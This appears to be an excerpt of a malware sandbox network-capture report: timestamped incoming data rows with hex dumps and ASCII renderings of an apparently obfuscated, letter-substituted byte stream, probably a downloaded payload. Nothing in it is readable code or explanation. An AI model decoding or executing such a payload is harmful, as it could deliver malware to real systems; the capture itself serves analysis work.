2021-10-29 15:55:26 UTC	176	IN	Data Raw: 57 20 57 4f 20 4a 6d 45 20 4a 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 45 58 20 45 71 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 6d 4d 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 57 45 20 4a 45 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4d 4a 20 58 4d 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 45 20 58 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 70 6d 20 58 45 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 45 20 58 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 57 4d 20 58 4d 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 4a 71 45 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 Data Ascii: W WO JmE JW Wm Xm qqX qqE EX Eq WO mX Wq Wm JmM Mq qqE qOM qqp WO qWE JE Wm Xm qqW qqE qMJ XM WO mX Wq Wm JE XW qqE qOM qqp WO qJE Jq Wm Xm qqW qqE pm XE WO mX Wq Wm JE XW qqE qOM qqp WO qJE Jq Wm Xm qqW qqE WM XM WO mX mX Wm JqE Mq qqE qOM qqp WO qJE Jq
2021-10-29 15:55:26 UTC	180	IN	Data Raw: 20 6d 58 20 6d 58 20 57 6d 20 57 6d 20 71 4f 4f 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 45 20 57 4f 20 45 20 71 57 20 57 6d 20 58 6d 20 71 71 44 20 71 71 45 20 45 4f 20 45 45 20 57 4f 20 6d 58 20 57 70 20 57 6d 20 4a 6d 4a 20 57 4f 20 71 71 45 20 71 4f 4d 20 71 4a 4f 20 57 4f 20 71 45 6d 20 71 71 6d 20 57 6d 20 58 6d 20 71 4a 70 20 71 71 45 20 4a 57 6d 20 45 4a 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 71 4f 20 4d 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 70 20 71 71 4a 20 57 6d 20 71 71 44 20 71 71 70 20 71 71 45 20 71 4d 57 20 58 4a 20 6d 58 20 6d 58 20 57 6d 20 57 6d 20 71 4f 4f 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 45 20 57 4f 20 45 20 71 57 20 57 6d 20 58 6d 20 71 71 44 20 71 71 45 20 45 4f 20 45 45 20 57 4f 20 6d 58 20 57 70 20 Data Ascii: mX mX Wm Wm qOO mX qqE qOM qqE WO E qW Wm Xm qqD qqE EO EE WO mX Wp Wm JmJ WO qqE qOM qJO WO qEm qqm Wm Xm qJp qqE JWm EJ WO mX Wq Wm JqO Mm qqE qOM qqm WO qqp qqJ Wm qqD qqp qqE qMW XJ mX mX Wm Wm qOO mX qqE qOM qqE WO E qW Wm Xm qqD qqE EO EE WO mX Wp
2021-10-29 15:55:26 UTC	184	IN	Data Raw: 20 4a 4a 20 71 45 20 4d 6d 20 57 6d 20 4a 70 71 20 58 44 20 71 4a 4f 20 4d 4a 20 4a 57 20 71 71 44 20 71 6d 45 20 57 71 20 57 44 20 70 71 20 70 4a 20 71 71 58 20 71 58 57 20 71 4f 4d 20 4a 70 71 20 71 70 20 71 45 58 20 57 6d 20 4a 4f 45 20 58 6d 20 4a 57 4f 20 44 57 20 71 4f 58 20 71 71 4a 20 4a 6d 70 20 57 4f 20 71 6d 4a 20 70 71 20 4a 71 6d 20 71 71 58 20 71 71 44 20 71 71 4f 20 44 45 20 70 20 71 58 58 20 57 6d 20 4a 4f 45 20 58 6d 20 71 45 4f 20 71 4f 6d 20 4a 57 4a 20 71 71 44 20 4d 4d 20 6d 58 20 57 44 20 70 71 20 71 57 45 20 71 71 6d 20 71 4d 44 20 71 71 4f 20 4a 6d 58 20 44 20 70 4a 20 57 4f 20 71 6d 70 20 58 45 20 44 4f 20 6d 4d 20 4a 4f 45 20 71 71 44 20 4a 57 71 20 57 71 20 71 58 44 20 4a 20 4a 57 70 20 71 71 58 20 71 44 71 20 71 4f 4d 20 4a 6d Data Ascii: JJ qE Mm Wm Jpq XD qJO MJ JW qqD qmE Wq WD pq pJ qqX qXW qOM Jpq qp qEX Wm JOE Xm JWO DW qOX qqJ Jmp WO qmJ pq Jqm qqX qqD qqO DE p qXX Wm JOE Xm qEO qOm JWJ qqD MM mX WD pq qWE qqm qMD qqO JmX D pJ WO qmp XE DO mM JOE qqD JWq Wq qXD J JWp qqX qDq qOM Jm
2021-10-29 15:55:26 UTC	188	IN	Data Raw: 20 44 6d 20 71 57 4d 20 71 4a 6d 20 4a 4a 4a 20 6d 4d 20 71 58 44 20 4a 20 70 4a 20 71 71 6d 20 4a 4f 6d 20 71 71 71 20 6d 58 20 71 71 6d 20 57 44 20 44 70 20 71 71 4d 20 58 44 20 4a 6d 70 20 44 45 20 71 4a 4f 20 71 4a 57 20 71 4d 20 57 70 20 71 6d 6d 20 71 20 45 4d 20 71 4a 45 20 4d 4a 20 71 4f 6d 20 71 4f 20 44 20 71 45 20 44 70 20 71 4d 6d 20 58 57 20 4a 20 45 6d 20 45 6d 20 71 71 4a 20 70 20 57 70 20 6d 57 20 71 4f 20 71 4f 70 20 71 4a 45 20 4d 4a 20 71 71 71 20 71 44 4d 20 71 71 4a 20 4d 20 44 70 20 70 71 20 58 44 20 71 45 4f 20 4d 57 20 58 4a 20 71 4a 57 20 71 71 57 20 57 70 20 71 4f 6d 20 71 58 20 6d 20 71 4a 45 20 57 4a 20 71 4f 6d 20 57 6d 20 71 71 6d 20 57 70 20 57 4f 20 71 71 4d 20 58 71 20 4a 71 70 20 58 44 20 57 58 20 71 4a 57 20 71 4a 70 20 Data Ascii: Dm qWM qJm JJJ mM qXD J pJ qqm JOm qqq mX qqm WD Dp qqM XD Jmp DE qJO qJW qM Wp qmm q EM qJE MJ qOm qO D qE Dp qMm XW J Em Em qqJ p Wp mW qO qOp qJE MJ qqq qDM qqJ M Dp pq XD qEO MW XJ qJW qqW Wp qOm qX m qJE WJ qOm Wm qqm Wp WO qqM Xq Jqp XD WX qJW qJp
2021-10-29 15:55:26 UTC	192	IN	Data Raw: 57 20 57 4f 20 71 4a 44 20 6d 4f 20 71 57 71 20 58 4a 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 6d 57 20 57 6d 20 71 6d 57 20 57 6d 20 71 57 4a 20 71 71 71 20 4a 4a 4f 20 71 4f 45 20 71 4d 57 20 57 4f 20 71 71 4f 20 6d 4f 20 4a 6d 45 20 58 4a 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 57 71 20 57 6d 20 71 4a 4d 20 57 6d 20 57 58 20 71 4f 6d 20 71 6d 58 20 71 4f 45 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 4a 4a 70 20 58 4a 20 71 4d 70 20 71 71 45 20 71 4d 20 71 4f 44 20 57 71 20 57 57 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 4a 6d 20 71 4f 44 20 71 4d 57 20 57 4f 20 71 4d 4f 20 6d 4f 20 4a 70 20 58 70 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 45 20 57 57 20 71 4a 4d 20 57 6d 20 4a 4f 4a 20 71 4f 6d 20 57 4a 20 71 4f 44 Data Ascii: W WO qJD mO qWq XJ mM qqE qWW qJE qmW Wm qmW Wm qWJ qqq JJO qOE qMW WO qqO mO JmE XJ mM qqE qWW qJE JWq Wm qJM Wm WX qOm qmX qOE Wq WO qMX Dq JJp XJ qMp qqE qM qOD Wq WW qqp Wm qDJ qJW qJm qOD qMW WO qMO mO Jp Xp mM qqE qWW qJE JE WW qJM Wm JOJ qOm WJ qOD
2021-10-29 15:55:26 UTC	196	IN	Data Raw: 4d 20 6d 4f 20 71 57 4f 20 71 71 45 20 71 45 45 20 71 71 45 20 71 57 45 20 71 4f 44 20 4a 6d 4a 20 71 45 20 4a 6d 71 20 57 6d 20 58 57 20 71 4f 57 20 71 6d 4d 20 45 44 20 71 45 4d 20 57 4f 20 70 6d 20 6d 71 20 57 6d 20 71 71 58 20 71 45 45 20 71 71 45 20 45 58 20 71 4f 45 20 71 58 20 71 58 20 4a 6d 71 20 57 6d 20 4d 44 20 71 4f 57 20 57 70 20 45 4d 20 71 45 4d 20 57 4f 20 71 71 45 20 6d 71 20 58 44 20 71 71 58 20 71 45 45 20 71 71 45 20 57 4d 20 71 4f 45 20 71 45 58 20 71 58 20 4a 6d 71 20 57 6d 20 57 71 20 71 4f 57 20 4a 71 70 20 45 4d 20 71 45 4d 20 57 4f 20 45 4a 20 6d 71 20 71 6d 44 20 71 71 58 20 70 70 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 6d 4a 20 71 58 20 4a 6d 71 20 57 6d 20 4a 4a 71 20 71 4f 57 20 71 6d 4d 20 45 4d 20 71 45 4d 20 57 4f 20 71 Data Ascii: M mO qWO qqE qEE qqE qWE qOD JmJ qE Jmq Wm XW qOW qmM ED qEM WO pm mq Wm qqX qEE qqE EX qOE qX qX Jmq Wm MD qOW Wp EM qEM WO qqE mq XD qqX qEE qqE WM qOE qEX qX Jmq Wm Wq qOW Jqp EM qEM WO EJ mq qmD qqX pp qqE qWW qJE JmJ qX Jmq Wm JJq qOW qmM EM qEM WO q
2021-10-29 15:55:26 UTC	200	IN	Data Raw: 20 4a 4a 6d 20 4d 58 20 44 4f 20 71 4f 57 20 71 4d 44 20 70 6d 20 71 4f 45 20 57 6d 20 71 70 4f 20 44 58 20 71 4a 4a 20 71 71 45 20 71 4f 45 20 71 71 4a 20 70 58 20 70 4a 20 57 71 20 57 6d 20 58 4a 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 6d 44 20 57 4f 20 6d 4d 20 57 4f 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 57 4f 20 71 71 4a 20 57 71 20 6d 58 20 44 4a 20 57 6d 20 58 6d 20 71 71 6d 20 4a 71 20 71 4f 4d 20 71 71 70 20 57 4f 20 44 4a 20 57 4f 20 57 6d 20 58 6d 20 71 4d 20 71 71 45 20 71 4f 58 20 71 71 4a 20 70 6d 20 6d 58 20 57 4f 20 57 6d 20 57 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 4d 58 20 57 4f 20 6d 58 20 57 4f 20 58 57 20 58 6d 20 71 71 57 20 71 71 45 20 71 4a 71 20 71 71 4a 20 57 4f 20 6d 58 20 58 44 20 57 6d 20 58 57 20 71 71 6d 20 4d 4d 20 Data Ascii: JJm MX DO qOW qMD pm qOE Wm qpO DX qJJ qqE qOE qqJ pX pJ Wq Wm XJ qqm qqE qOM mD WO mM WO DO Xm qqm qqE WO qqJ Wq mX DJ Wm Xm qqm Jq qOM qqp WO DJ WO Wm Xm qM qqE qOX qqJ pm mX WO Wm Wm qqm qqD qOM MX WO mX WO XW Xm qqW qqE qJq qqJ WO mX XD Wm XW qqm MM
2021-10-29 15:55:26 UTC	205	IN	Data Raw: 4d 6d 20 58 6d 20 71 4f 71 20 71 71 45 20 71 71 71 20 71 71 4a 20 71 4d 44 20 6d 58 20 6d 70 20 57 6d 20 58 57 20 71 71 6d 20 71 70 4f 20 71 4f 4d 20 71 4f 57 20 57 4f 20 57 4f 20 57 4f 20 4a 4f 57 20 58 6d 20 71 4f 57 20 71 71 45 20 71 4f 58 20 71 71 4a 20 4a 4f 44 20 6d 58 20 6d 71 20 57 6d 20 58 44 20 71 71 6d 20 71 70 44 20 71 4f 4d 20 71 4f 4d 20 57 4f 20 6d 4d 20 57 4f 20 4a 4f 4f 20 58 6d 20 71 71 71 20 71 71 45 20 71 71 71 20 71 71 4a 20 4a 4f 57 20 6d 58 20 6d 57 20 57 6d 20 58 57 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 71 71 20 57 4f 20 57 4f 20 57 4f 20 6d 6d 20 58 57 20 58 70 20 71 71 45 20 71 4f 58 20 71 71 4a 20 6d 71 20 6d 4d 20 71 4d 20 57 6d 20 58 44 20 71 71 6d 20 71 4f 57 20 71 4f 58 20 58 70 20 57 4f 20 6d 4d 20 57 4f 20 6d 70 20 58 Data Ascii: Mm Xm qOq qqE qqq qqJ qMD mX mp Wm XW qqm qpO qOM qOW WO WO WO JOW Xm qOW qqE qOX qqJ JOD mX mq Wm XD qqm qpD qOM qOM WO mM WO JOO Xm qqq qqE qqq qqJ JOW mX mW Wm XW qqm qqE qOX qqq WO WO WO mm XW Xp qqE qOX qqJ mq mM qM Wm XD qqm qOW qOX Xp WO mM WO mp X
2021-10-29 15:55:26 UTC	209	IN	Data Raw: 4f 70 20 57 58 20 71 4a 45 20 71 4a 45 20 71 4d 57 20 4d 4d 20 58 4f 20 44 71 20 4a 57 20 44 71 20 6d 20 4d 71 20 45 70 20 71 4a 4a 20 4a 57 4a 20 71 4a 45 20 71 71 45 20 6d 4d 20 71 6d 45 20 57 57 20 71 70 58 20 45 4a 20 71 71 44 20 71 4f 4d 20 6d 58 20 57 71 20 71 4a 4d 20 57 71 20 57 58 20 4a 70 20 71 71 4a 20 71 71 45 20 6d 44 20 71 71 70 20 71 4a 4d 20 6d 4d 20 4a 57 20 71 4f 20 58 44 20 71 71 6d 20 71 4a 71 20 4a 4a 6d 20 71 71 70 20 57 4f 20 71 45 4a 20 57 4f 20 6d 4a 20 4a 71 45 20 71 71 57 20 71 71 45 20 4a 6d 4f 20 71 71 4a 20 71 4a 44 20 71 58 4d 20 57 71 20 57 6d 20 4a 4f 4a 20 71 71 6d 20 6d 71 20 4a 4a 6d 20 71 71 70 20 57 4f 20 71 45 57 20 57 4f 20 44 44 20 4a 71 45 20 71 71 57 20 71 71 45 20 4a 4f 57 20 71 71 4a 20 71 4d 58 20 71 58 4d 20 Data Ascii: Op WX qJE qJE qMW MM XO Dq JW Dq m Mq Ep qJJ JWJ qJE qqE mM qmE WW qpX EJ qqD qOM mX Wq qJM Wq WX Jp qqJ qqE mD qqp qJM mM JW qO XD qqm qJq JJm qqp WO qEJ WO mJ JqE qqW qqE JmO qqJ qJD qXM Wq Wm JOJ qqm mq JJm qqp WO qEW WO DD JqE qqW qqE JOW qqJ qMX qXM
2021-10-29 15:55:26 UTC	212	IN	Data Raw: 71 45 20 70 44 20 71 71 4a 20 57 4a 20 6d 58 20 71 4a 4f 20 57 6d 20 58 4a 20 71 71 6d 20 44 4a 20 71 4f 4d 20 71 71 58 20 57 4f 20 71 4a 6d 20 57 4f 20 6d 58 20 58 6d 20 44 70 20 71 71 45 20 71 4f 45 20 71 71 4a 20 71 4a 6d 20 6d 58 20 57 4a 20 57 6d 20 4a 45 20 71 71 6d 20 71 71 57 20 71 4f 4d 20 70 4a 20 57 4f 20 57 58 20 57 4f 20 71 4f 70 20 58 6d 20 71 4a 44 20 71 71 45 20 44 70 20 71 71 4a 20 44 4a 20 6d 58 20 4d 45 20 57 6d 20 58 4d 20 71 71 6d 20 70 70 20 71 4f 4d 20 71 4a 57 20 57 4f 20 71 4f 71 20 57 4f 20 70 57 20 58 6d 20 70 44 20 71 71 45 20 71 4a 4a 20 71 71 4a 20 71 4f 71 20 6d 58 20 71 4d 20 57 6d 20 71 4a 20 71 71 6d 20 58 45 20 71 4f 4d 20 6d 71 20 57 4f 20 71 58 20 57 4f 20 71 4f 58 20 58 6d 20 58 44 20 71 71 45 20 57 6d 20 71 71 4a 20 Data Ascii: qE pD qqJ WJ mX qJO Wm XJ qqm DJ qOM qqX WO qJm WO mX Xm Dp qqE qOE qqJ qJm mX WJ Wm JE qqm qqW qOM pJ WO WX WO qOp Xm qJD qqE Dp qqJ DJ mX ME Wm XM qqm pp qOM qJW WO qOq WO pW Xm pD qqE qJJ qqJ qOq mX qM Wm qJ qqm XE qOM mq WO qX WO qOX Xm XD qqE Wm qqJ
2021-10-29 15:55:26 UTC	228	IN	Data Raw: 20 6d 20 44 20 70 20 4d 44 20 57 71 20 45 4f 20 6d 44 20 44 45 20 6d 20 71 71 70 20 57 20 71 71 57 20 4a 4a 20 57 6d 20 57 6d 20 6d 70 20 45 4a 20 71 71 44 20 71 71 45 20 71 4f 20 71 71 44 20 71 4f 58 20 44 44 20 44 57 20 6d 45 20 44 45 20 57 20 4d 20 71 71 57 20 57 20 71 4f 71 20 57 6d 20 45 4f 20 4d 6d 20 57 71 20 71 71 57 20 6d 58 20 71 71 57 20 71 6d 20 4a 71 20 45 71 20 57 71 20 4d 57 20 57 4a 20 71 71 70 20 58 20 6d 20 71 71 57 20 4d 4d 20 45 6d 20 44 58 20 6d 4f 20 57 71 20 57 20 70 20 6d 20 44 20 71 44 20 44 45 20 6d 4d 20 6d 71 20 57 4f 20 71 71 4d 20 4f 20 71 71 20 71 71 4a 20 71 4f 58 20 44 44 20 6d 58 20 6d 4f 20 57 70 20 71 71 70 20 71 71 45 20 44 20 71 6d 20 71 45 20 57 71 20 71 71 45 20 6d 4f 20 57 4f 20 71 71 58 20 4f 20 57 20 70 20 4d 58 Data Ascii: m D p MD Wq EO mD DE m qqp W qqW JJ Wm Wm mp EJ qqD qqE qO qqD qOX DD DW mE DE W M qqW W qOq Wm EO Mm Wq qqW mX qqW qm Jq Eq Wq MW WJ qqp X m qqW MM Em DX mO Wq W p m D qD DE mM mq WO qqM O qq qqJ qOX DD mX mO Wp qqp qqE D qm qE Wq qqE mO WO qqX O W p MX
2021-10-29 15:55:26 UTC	244	IN	Data Raw: 58 57 20 57 70 20 4a 58 20 4a 45 20 6d 20 70 4f 20 58 57 20 6d 58 20 4d 45 20 45 4d 20 70 4d 20 44 20 71 44 20 4f 20 4d 6d 20 4d 44 20 44 4d 20 4d 4a 20 44 44 20 44 71 20 70 71 20 71 44 20 44 45 20 70 58 20 58 45 20 44 44 20 44 57 20 4d 57 20 57 4d 20 4a 58 20 4a 58 20 70 20 4a 70 20 57 4f 20 71 71 58 20 44 6d 20 58 4d 20 57 45 20 6d 58 20 4a 4f 20 70 4f 20 4a 71 20 6d 20 6d 20 4d 45 20 44 44 20 70 58 20 4a 45 20 4a 45 20 71 4f 20 71 71 4a 20 71 4f 4a 20 4d 57 20 4d 45 20 44 44 20 70 58 20 4a 45 20 4a 45 20 71 4f 20 71 71 4a 20 71 71 45 20 58 57 20 45 4f 20 71 4f 71 20 70 4a 20 4f 20 4a 58 20 70 20 4a 70 20 57 4f 20 71 71 4d 20 58 45 20 44 44 20 4a 58 20 4a 70 20 71 70 20 44 4a 20 6d 20 44 6d 20 58 4d 20 4d 4a 20 58 71 20 58 6d 20 70 70 20 4f 20 71 57 20 Data Ascii: XW Wp JX JE m pO XW mX ME EM pM D qD O Mm MD DM MJ DD Dq pq qD DE pX XE DD DW MW WM JX JX p Jp WO qqX Dm XM WE mX JO pO Jq m m ME DD pX JE JE qO qqJ qOJ MW ME DD pX JE JE qO qqJ qqE XW EO qOq pJ O JX p Jp WO qqM XE DD JX Jp qp DJ m Dm XM MJ Xq Xm pp O qW
2021-10-29 15:55:26 UTC	260	IN	Data Raw: 4f 4d 20 57 70 20 4d 4a 20 45 4f 20 4d 71 20 44 58 20 57 4d 20 4a 58 20 4a 6d 20 58 20 70 4f 20 45 4f 20 6d 58 20 71 4f 44 20 4d 71 20 57 44 20 57 6d 20 4a 44 20 71 6d 20 57 20 4d 57 20 58 57 20 4d 4a 20 44 44 20 58 6d 20 44 4f 20 71 44 20 4a 57 20 45 20 4d 70 20 44 44 20 58 4d 20 71 4a 45 20 57 58 20 44 20 71 44 20 70 71 20 4a 4a 20 58 70 20 58 70 20 58 45 20 71 71 45 20 57 4d 20 70 71 20 57 20 4a 20 70 4f 20 58 45 20 4d 6d 20 45 4f 20 57 6d 20 45 20 71 71 20 44 20 4a 57 20 4a 71 20 4d 57 20 70 4f 20 71 71 70 20 58 4d 20 57 44 20 70 4f 20 71 44 20 71 6d 20 6d 20 4d 71 20 4d 57 20 4d 4a 20 44 4d 20 71 4a 4a 20 57 70 20 71 44 20 70 20 4a 71 20 44 6d 20 58 4d 20 58 71 20 4a 6d 20 4a 4d 20 57 57 20 4a 45 20 4a 6d 20 4a 4d 20 58 45 20 44 44 20 58 70 20 44 44 Data Ascii: OM Wp MJ EO Mq DX WM JX Jm X pO EO mX qOD Mq WD Wm JD qm W MW XW MJ DD Xm DO qD JW E Mp DD XM qJE WX D qD pq JJ Xp Xp XE qqE WM pq W J pO XE Mm EO Wm E qq D JW Jq MW pO qqp XM WD pO qD qm m Mq MW MJ DM qJJ Wp qD p Jq Dm XM Xq Jm JM WW JE Jm JM XE DD Xp DD
2021-10-29 15:55:26 UTC	276	IN	Data Raw: 71 71 6d 20 4d 71 20 71 4f 4d 20 44 4f 20 57 4f 20 58 4d 20 57 4f 20 58 58 20 58 6d 20 70 20 71 71 45 20 70 20 71 71 4a 20 45 4f 20 6d 58 20 44 6d 20 57 6d 20 57 4d 20 71 71 6d 20 4a 57 20 71 4f 4d 20 4a 58 20 57 4f 20 58 57 20 57 4f 20 44 58 20 58 6d 20 71 71 6d 20 4d 44 20 6d 6d 20 71 71 4a 20 58 44 20 6d 58 20 58 70 20 57 6d 20 70 44 20 71 71 6d 20 71 20 71 4f 4d 20 4a 71 20 57 4f 20 44 44 20 57 4f 20 71 4f 4f 20 58 6d 20 57 71 20 71 71 45 20 70 4a 20 71 71 4a 20 57 4f 20 71 4f 4d 20 4d 45 20 57 6d 20 4a 45 20 71 71 6d 20 57 71 20 71 4f 4d 20 70 44 20 57 4f 20 71 4f 70 20 57 4f 20 71 71 4d 20 58 6d 20 70 4a 20 71 71 45 20 6d 4f 20 71 71 4a 20 71 71 4f 20 6d 58 20 71 4f 71 20 57 6d 20 4a 45 20 71 71 6d 20 70 6d 20 71 4f 4d 20 45 4f 20 57 4f 20 6d 20 57 Data Ascii: qqm Mq qOM DO WO XM WO XX Xm p qqE p qqJ EO mX Dm Wm WM qqm JW qOM JX WO XW WO DX Xm qqm MD mm qqJ XD mX Xp Wm pD qqm q qOM Jq WO DD WO qOO Xm Wq qqE pJ qqJ WO qOM ME Wm JE qqm Wq qOM pD WO qOp WO qqM Xm pJ qqE mO qqJ qqO mX qOq Wm JE qqm pm qOM EO WO m W
2021-10-29 15:55:26 UTC	292	IN	Data Raw: 58 58 20 4d 44 20 70 4d 20 70 6d 20 71 45 4d 20 57 71 20 58 71 20 4d 44 20 4a 6d 57 20 4a 4f 6d 20 4d 58 20 71 45 4d 20 57 45 20 6d 44 20 6d 4a 20 45 4f 20 4a 6d 4a 20 71 70 4a 20 4d 45 20 58 4f 20 57 6d 20 70 57 20 57 6d 20 70 45 20 58 6d 20 4d 45 20 71 71 44 20 71 4a 44 20 71 71 6d 20 70 70 20 57 71 20 57 58 20 57 6d 20 58 57 20 4d 44 20 4a 6d 57 20 71 57 4a 20 4d 58 20 71 45 58 20 4a 4f 71 20 57 4a 20 4a 4a 20 58 57 20 71 71 57 20 71 4f 4f 20 4a 70 4d 20 4a 6d 71 20 57 4a 20 71 44 20 57 71 20 57 57 20 44 4d 20 4a 6d 4f 20 4a 6d 4f 20 71 4f 45 20 58 4f 20 57 71 20 6d 4d 20 70 57 20 71 58 4f 20 4a 4a 71 20 71 4f 71 20 4d 44 20 71 4a 45 20 4a 6d 4f 20 71 45 71 20 6d 4d 20 70 4d 20 70 44 20 4a 71 70 20 71 4a 45 20 71 71 4a 20 71 4a 45 20 4a 6d 4f 20 71 6d Data Ascii: XX MD pM pm qEM Wq Xq MD JmW JOm MX qEM WE mD mJ EO JmJ qpJ ME XO Wm pW Wm pE Xm ME qqD qJD qqm pp Wq WX Wm XW MD JmW qWJ MX qEX JOq WJ JJ XW qqW qOO JpM Jmq WJ qD Wq WW DM JmO JmO qOE XO Wq mM pW qXO JJq qOq MD qJE JmO qEq mM pM pD Jqp qJE qqJ qJE JmO qm
2021-10-29 15:55:26 UTC	308	IN	Data Raw: 4a 57 20 44 4a 20 6d 20 58 70 20 44 58 20 58 45 20 70 45 20 58 57 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 70 44 20 44 4f 20 57 4a 20 71 4a 6d 20 58 45 20 57 45 20 4a 70 20 71 71 6d 20 70 6d 20 70 20 71 71 70 20 44 44 20 45 57 20 45 4f 20 70 4a 20 71 4f 4a 20 71 71 44 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4f 4f 20 44 4f 20 57 4f 20 4a 44 20 71 4d 20 4a 6d 20 58 20 71 4a 4f 20 4d 70 20 44 45 20 71 4f 4d 20 58 57 20 70 58 20 71 71 20 57 20 4a 57 20 71 4f 57 20 57 71 20 6d 58 20 57 71 20 57 6d 20 4f 20 71 4a 6d 20 71 71 70 20 70 57 20 71 45 20 4d 57 20 58 57 20 44 70 20 58 70 20 57 58 20 71 45 20 45 20 4a 4f 20 4f 20 45 4f 20 58 57 20 58 44 20 71 4f 57 20 44 70 20 4a 70 20 71 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d Data Ascii: JW DJ m Xp DX XE pE XW qqm qqD qOM pD DO WJ qJm XE WE Jp qqm pm p qqp DD EW EO pJ qOJ qqD qOM qqp WO qOO DO WO JD qM Jm X qJO Mp DE qOM XW pX qq W JW qOW Wq mX Wq Wm O qJm qqp pW qE MW XW Dp Xp WX qE E JO O EO XW XD qOW Dp Jp qJ qOM qqJ WO mX WO Wm Xm qqm
2021-10-29 15:55:26 UTC	324	IN	Data Raw: 4a 20 58 44 20 6d 58 20 71 71 57 20 57 6d 20 70 44 20 71 71 6d 20 4a 4d 20 71 4f 4d 20 71 45 20 57 4f 20 71 4f 70 20 57 4f 20 4d 4f 20 58 6d 20 70 71 20 71 71 45 20 57 4a 20 71 71 4a 20 4d 57 20 6d 58 20 45 20 57 6d 20 44 71 20 71 71 6d 20 6d 45 20 71 4f 4d 20 4a 4d 20 57 4f 20 4d 20 57 4f 20 4d 57 20 58 6d 20 71 45 20 71 71 45 20 6d 4a 20 71 71 4a 20 70 20 6d 58 20 4d 6d 20 57 6d 20 71 6d 20 71 71 6d 20 70 6d 20 71 4f 4d 20 6d 20 57 4f 20 44 6d 20 57 4f 20 58 57 20 58 6d 20 57 70 20 71 71 45 20 57 20 71 71 4a 20 4d 6d 20 6d 58 20 71 4f 6d 20 57 6d 20 70 20 71 71 6d 20 4a 57 20 71 4f 4d 20 71 20 57 4f 20 58 71 20 57 4f 20 4d 45 20 58 6d 20 44 45 20 71 71 45 20 44 20 71 71 4a 20 58 71 20 6d 58 20 71 71 45 20 57 6d 20 4d 45 20 71 71 6d 20 44 20 71 4f 4d 20 Data Ascii: J XD mX qqW Wm pD qqm JM qOM qE WO qOp WO MO Xm pq qqE WJ qqJ MW mX E Wm Dq qqm mE qOM JM WO M WO MW Xm qE qqE mJ qqJ p mX Mm Wm qm qqm pm qOM m WO Dm WO XW Xm Wp qqE W qqJ Mm mX qOm Wm p qqm JW qOM q WO Xq WO ME Xm DE qqE D qqJ Xq mX qqE Wm ME qqm D qOM
2021-10-29 15:55:26 UTC	340	IN	Data Raw: 4f 20 71 20 71 4d 20 6d 58 20 71 4a 20 4f 20 45 4d 20 4f 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 71 6d 4f 20 4a 58 20 4f 20 4f 20 71 20 4f 20 6d 4f 20 70 71 20 4f 20 4f 20 71 4f 20 71 71 71 20 70 4a 20 4f 20 4f 20 71 4f 20 71 71 71 20 70 70 20 4f 20 4f 20 71 4f 20 71 71 6d 20 4a 57 70 20 71 58 4f 20 70 20 71 71 4a 20 71 71 71 20 70 6d 20 4f 20 4f 20 71 4f 20 6d 4f 20 70 71 20 4f 20 4f 20 71 4f 20 71 71 71 20 70 4a 20 4f 20 4f 20 71 4f 20 71 71 71 20 70 70 20 4f 20 4f 20 71 4f 20 71 71 6d 20 57 20 71 58 71 20 70 20 71 71 4a 20 71 71 71 20 70 6d 20 4f 20 4f 20 71 4f 20 4d 44 20 4a 57 6d 20 71 6d 20 4f 20 4f 20 57 44 20 58 20 4f 20 4f 20 4f 20 6d 70 20 44 20 4a 57 6d 20 4a 4a 20 6d 4d 20 4f 20 4f 20 71 20 4a 57 6d 20 71 4a 20 4f 20 4f 20 6d 4a 20 4f 20 4a Data Ascii: O q qM mX qJ O EM O O O p O O qE qmO JX O O q O mO pq O O qO qqq pJ O O qO qqq pp O O qO qqm JWp qXO p qqJ qqq pm O O qO mO pq O O qO qqq pJ O O qO qqq pp O O qO qqm W qXq p qqJ qqq pm O O qO MD JWm qm O O WD X O O O mp D JWm JJ mM O O q JWm qJ O O mJ O J
